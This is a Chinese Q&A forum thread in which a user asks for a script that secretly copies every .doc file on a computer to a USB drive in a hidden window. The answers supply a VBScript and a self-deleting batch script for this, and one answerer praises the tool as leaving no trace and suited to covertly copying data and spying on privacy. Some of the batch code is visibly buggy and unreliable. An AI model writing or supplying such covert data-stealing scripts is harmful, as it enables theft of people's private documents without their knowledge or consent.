如何用bat程序自动复制doc文件到u盘 H中
我想让u盘插入电脑后我只要点击bat程序他就可以自动复制电脑上所有doc文件到u盘H中,前提是要隐藏运行窗口。使它在后台自动运行,复制完成后可以自动关闭程序求bat代码谢...
我想让u盘插入电脑后我只要点击bat程序他就可以自动复制电脑上所有doc文件到u盘 H 中,前提是要隐藏运行窗口。使它在后台自动运行,复制完成后可以自动关闭程序 求bat代码 谢谢
展开
2个回答
展开全部
用bat写太难了,请看看vbs代码:
On Error Resume Next
Dim fso,ws,list,c,ds,op,file,usb,ext
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
list=fso.GetSpecialFolder(2)+"\"+WScript.ScriptName+"_FilesList.dat"
c=Chr(34)
usb=""
ext="doc"
With fso.GetFile(list)
.Attributes=0
.Delete
End With
For Each ds In fso.Drives
If fso.GetDrive(ds).DriveType<>1 Then
ws.Run "cmd.exe /C DIR /S /B "+c+ds+c+"\*.*>>"+c+list+c,0,True
Else
usb=ds
End if
Next
fso.GetFile(list).Attributes=1+2+4
Set op=fso.OpenTextFile(list,1)
Do Until op.AtEndOfStream
file=op.ReadLine
If fso.GetExtensionName(file)=ext And usb<>"" Then
fso.CopyFile file,usb & "\"
End if
Loop
op.Close
With fso.GetFile(list)
.Attributes=0
.Delete
End With
MsgBox "复制完毕!已将计算机中所有"+ext+"文件复制到"+c+usb+c+"!",0+64,"控盘惨制作 - 复制完毕"
Set fso=Nothing
Set ws=Nothing
Set op=Nothing
WScript.Quit
以上代码可以自动判断U盘(U盘不一定是H,有可能是G或其它,此脚本可以自动判断)然后将计算机中的所有doc文件复制到U盘里.也是可以后台自动运行的.
使用方法和bat一样,把后缀改成vbs即可.
更多追问追答
追问
是隐藏的吗?运行完后会不会自动删除这个程序?
追答
保证隐藏,比bat还隐蔽。bat你也试了,bat运行后怎么样都肯定得显示一下黑窗口,然后再隐藏运行。vbs真的一点都不留痕迹,并且能自动判断U盘,偷偷复制数据。真是出家旅行,偷窥隐私,杀人灭口之良品!
不过抱歉,此vbs不能运行完毕后删除自己。不是我不会写这个删除自己的代码,而是我忘记写了。
不过我改好了代码,附件中的代码就是在原来的代码的基础上新增添了一个功能:
文件复制完毕之后可以自我删除.
如果您不满意的话欢迎追问我.
展开全部
@echo off
if exist temp (goto start) else (
echo Set ws ^= CreateObject^(^"Wscript^.Shell^"^) >a.vbs
echo ws^.run ^"cmd ^/c ^"%0^"^"^,vbhide >>a.vbs
ecoh.>temp
start a.vbs
exit
)
:start
for /r C:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r D:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r E:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r F:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r G:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
del temp
del a.vbs
taskkill /f /im cmd.exe%del %0
追问
不好意思,它运行不了、、、麻烦再看看
追答
对不起啊,没仔细检查,一些东西打错了,这个bat只能运行一次,运行完会自动删除
@echo off
if exist temp (goto start) else (
echo Set ws ^= CreateObject^(^"Wscript^.Shell^"^) >a.vbs
echo ws^.run ^"cmd ^/c ^"%0^"^"^,vbhide >>a.vbs
echo.>temp
start a.vbs
exit
)
:start
for /r C:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r D:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r E:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r F:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r G:\ %%i in (*.doc) do echo %%i>>1a.txt
del temp
del a.vbs
taskkill /f /im cmd.exe%del %0
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询